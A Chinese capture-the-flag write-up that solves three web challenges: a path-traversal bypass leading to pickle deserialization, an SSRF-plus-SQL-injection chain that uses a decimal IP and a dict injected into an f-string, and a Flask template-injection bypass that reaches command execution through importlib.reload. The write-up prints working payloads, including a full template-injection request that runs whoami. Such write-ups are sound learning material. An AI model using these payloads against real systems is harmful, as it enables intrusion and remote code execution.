WEB
Signin
我们审计代码
1 | # -*- encoding: utf-8 -*- |
我们发现有个download和secret路由,在download里可以进行任意文件读取,但是过滤了../../
和开头的../,因此我们可以插入./进行绕过
1 | ?filename=./.././../secret.txt |
得到密钥
接下来我们看到有一个secret路由,而在get_cookie中能继续pickle反序列化
1 | def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): |
只要签名对的上就能直接进行pickle反序列化
1 | from bottle import cookie_encode |
然后我们访问2.txt得到flag
Fate(json反序列化和python格式化字符串)
1 | #!/usr/bin/env python3 |
通过init_db.py我们可以知道。flag在LamentXU对应的值里。但是LamentXU的长度>6,因此不能查询
我们在api_search里发现一个明显的json.load(),并且也提示了使用json反序列化
首先我们来看SSRF部分、
1.在前面加入lamentxu.top,这个可以用@来绕过
2.禁止了所有字母和.,那么我们使用2130706433来表示127.0.0.1
3.必须要传入参数0为abcdef。我们使用二次URL编码绕过。
接下来就是sql注入部分了
我们知道,在python中,当我们使用f-string直接传入非字符串参数时,就会被强转为字符串。
如下:
这也被称为python格式化字符串漏洞
在本题中限制了列表和元组,使用字典。
因此我们传入
1 | {"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}} |
拼接后的sql语句为
1 | SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}'))))))) |
即可成功注入
接下来将传入的数据编码
1 | def string_to_binary(input_string): |
然后我们直接打
1 | GET /proxy?url=@2130706433:8080/1337?1=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101%260=%2561%2562%2563%2564%2565%2566%2567%2568%2569 |
Now you see me 1
1 | # -*- encoding: utf-8 -*- |
我们发现代码中间藏了一段代码,我们解码得到
1 | import sys |
ssti request对象
直接去看waf。先考虑传统继承链。但是由于缺少_
,只能去尝试构造字符_
,但是由于限制了单双引号和一些重要字符,无法获取到_
。传统继承链打不了。
注意到没有过滤request对象(除了request其他入口类全给ban了),然后可以发现request的常用逃逸参数(args,values这种)全被禁止。同时限制死了单双引号,无法拼接,无法进行编码转换。
我们在·https://chenlvtang.top/2021/03/31/SSTI进阶里发现
发现其中提到的参数全部被ban
因此,我们去找开发手册,我们能看到
可以使用request.endpoint
获取当前路由的函数名,即r3al_ins1de_th0ught
从中我们能获取字符’d’、’a’、’t’
注意到可以拼接data,进而获取request.data,再在请求体中传入任意字符进行绕过,至此,我们可以获得任意字符
importlib.reload
我们可以看到题目删除了RCE的方法、python2中可以使用reload函数对类进行重载,在python3中,这个函数搬到了importlib类
,可以以此重载到被删除的方法
1 | import os |
audithook
至于audithook是用来防奇怪的非预期的,不必在意。使用reload会触发一次complie和exec,再加上render_templete本身就有一次,一共正好4次。
flask模版注释语句闭合
我们知道在flask中意味着注释语句。即在这里面的内容不会被渲染,也不会被执行
正常渲染的话我们的语句会被注释掉。因此需要在语句的开头加入#}
来闭合注释语句。
poc
1 | #}{%print(7*7)%} |
最终利用
到此,我们已经可以构造任意字符,同时也可以回复RCE类。我们依然使用requests作入口类,通过继承打RCE
总结如下:
1.#}
闭合注释语句
2.request.endpoint找request.data
3.request.data从请求体中获取任意字符
4.通过拼接字符打继承链找到importlib的reload。分别reloados.popen
和subprocess.Popen
5.通过request打继承链找os打RCE
利用脚本如下:
1 | # -*- encoding: utf-8 -*- |
可以看到成功RCE
执行whoami的payload
1 | GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%for%0ai%0ain%0arequest.endpoint|slice(1)%}{%set%0adat=i.9~i.2~i.12~i.2%}{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}{%set%0aa0%0a=%0ak.16~k.31~k.31~k.27~k.24~k.18~k.16~k.35~k.24~k.30~k.29%}{%set%0aa1%0a=%0ak.2~k.2~k.22~k.27~k.30~k.17~k.16~k.27~k.34~k.2~k.2%}{%set%0aa2%0a=%0ak.2~k.2~k.22~k.20~k.35~k.24~k.35~k.20~k.28~k.2~k.2%}{%set%0aa3%0a=%0ak.2~k.2~k.17~k.36~k.24~k.27~k.35~k.24~k.29~k.34~k.2~k.2%}{%set%0aa4%0a=%0ak.2~k.2~k.24~k.28~k.31~k.30~k.33~k.35~k.2~k.2%}{%set%0aa5%0a=%0ak.34~k.36~k.17~k.31~k.33~k.30~k.18~k.20~k.34~k.34%}{%set%0aa6%0a=%0ak.30~k.34%}{%set%0aa7%0a=%0ak.24~k.28~k.31~k.30~k.33~k.35~k.27~k.24~k.17%}{%set%0aa8%0a=%0ak.33~k.20~k.27~k.30~k.16~k.19%}{%set%0aa9%0a=%0ak.31~k.30~k.31~k.20~k.29%}{%set%0aa10%0a=%0ak.38~k.23~k.30~k.16~k.28~k.24%}{%set%0aa11%0a=%0ak.33~k.20~k.16~k.19%}{%set%0asub=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a5)%}{%set%0aso=request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a6)%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(sub))%}{%print(request|attr(a0)|attr(a1)|attr(a2)(a3)|attr(a2)(a4)(a7)|attr(a8)(so))%}{%print(so|attr(a9)(a10)|attr(a11)())%}{%print(so|attr(a9)(a10)|attr(a11)())%}{%endfor%}{%endfor%} HTTP/1.1 |
下载服务器上的/flag_h3r3
文件,可以发现是一个MP3音频。想到deepsound隐写。
在txt文档中读取到flag
1 | flag{N0w_y0u_sEEEEEEEEEEEEEEE_m3!!!!!!} |